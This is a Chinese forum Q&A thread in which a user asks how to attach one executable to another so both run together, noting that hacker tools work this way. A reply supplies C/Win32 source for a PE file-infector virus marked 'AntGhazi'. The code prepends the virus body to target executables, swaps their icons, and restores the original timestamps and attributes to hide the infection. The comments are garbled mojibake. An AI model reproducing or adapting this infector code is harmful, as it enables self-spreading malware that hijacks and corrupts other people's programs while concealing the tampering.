什么是你所谓的写在一起?
什么又是同时运行?

解决方案 »

  1.   

    用流的方式将一个文件写另一个文件的尾部。。当运行A文件的时候。。可以同时激活B文件的运行有这样的黑客软件依附在别的程序上。。我就像问这个
      

  2.   

    感染  PEint inFect(WIN32_FIND_DATA _lpFindFileData,char *strSource,DWORD dwSourceSize){
    HANDLE hSearchFile=NULL;
    DWORD dwSearchFileSize=0;
    char VirusFlag[10]={'\0'};
    DWORD bytes_write;
    WIN32_FIND_DATA lpFindFileData=_lpFindFileData;
    char *strFile=lpFindFileData.cFileName ; //char *strFile="AntGhazi.tmp\0";//²âÊÔʱ£¬Ìض¨Ö»¸ÐȾ´ËÎļþ
    //strFile="e:\\kkkk\\a.exe";//c:\\AntGhazi.tmp\0";//²âÊÔʱ£¬Ìض¨Ö»¸ÐȾ´ËÎļþ ::SetFileAttributes (strFile,FILE_ATTRIBUTE_NORMAL);
    hSearchFile=::CreateFile (strFile,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    if(hSearchFile == INVALID_HANDLE_VALUE){
    ::CloseHandle (hSearchFile);
    ::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
    return 0;
    }

    ::SetFilePointer (hSearchFile,80, NULL, FILE_BEGIN); //ÏȶÁÈ¡±êÖ¾
    ::ReadFile (hSearchFile,VirusFlag,8,&bytes_write,0);
    ::ReadFile (hSearchFile,&dwSearchFileSize,4,&bytes_write,0);
    if(strcmp(VirusFlag,"AntGhazi")!=0){ //¸ÐȾ
    //ÏȶÁÈ¡³¤¶È
    dwSearchFileSize=::GetFileSize (hSearchFile,NULL); //Ô­³¤¶È
    if(dwSearchFileSize>10485760){ //Èç¹ûÎļþ´óÓÚ10M£¬ÔòÍ˳ö
    ::CloseHandle (hSearchFile);
    ::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
    return 0;
    }
    char *pSearchFile=new char[dwSearchFileSize];
    ::SetFilePointer (hSearchFile,0,NULL,FILE_BEGIN); //¶ÁÈ¡Ô­ÎļþÄÚÈÝ
    ::ReadFile (hSearchFile,pSearchFile,dwSearchFileSize,&bytes_write,0);
    memmove(strSource+80,"AntGhazi",8); //дÈë±êÖ¾
    memcpy(strSource+88,&dwSearchFileSize,4); //дÈëÔ´³¤¶È ::SetFilePointer(hSearchFile,0,NULL,FILE_BEGIN); //×¼±¸Ð´ÈëÎļþÖÐ
    ModifyIcon(&strSource,pSearchFile); //ÐÞ¸ÄICON
    ::WriteFile (hSearchFile,strSource,dwSourceSize,&bytes_write,0);
    ::WriteFile (hSearchFile,pSearchFile,dwSearchFileSize,&bytes_write,0);
    delete pSearchFile;
    SetFileTime(hSearchFile,&lpFindFileData.ftCreationTime,&lpFindFileData.ftLastAccessTime ,&lpFindFileData.ftLastWriteTime);//дÈëÈÕÆÚ
    ::CloseHandle (hSearchFile);
    }else{
    ::CloseHandle (hSearchFile);
    }
    ::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
    return 1;
    }参考:
    http://www.csdn.net/Develop/read_article.asp?id=12338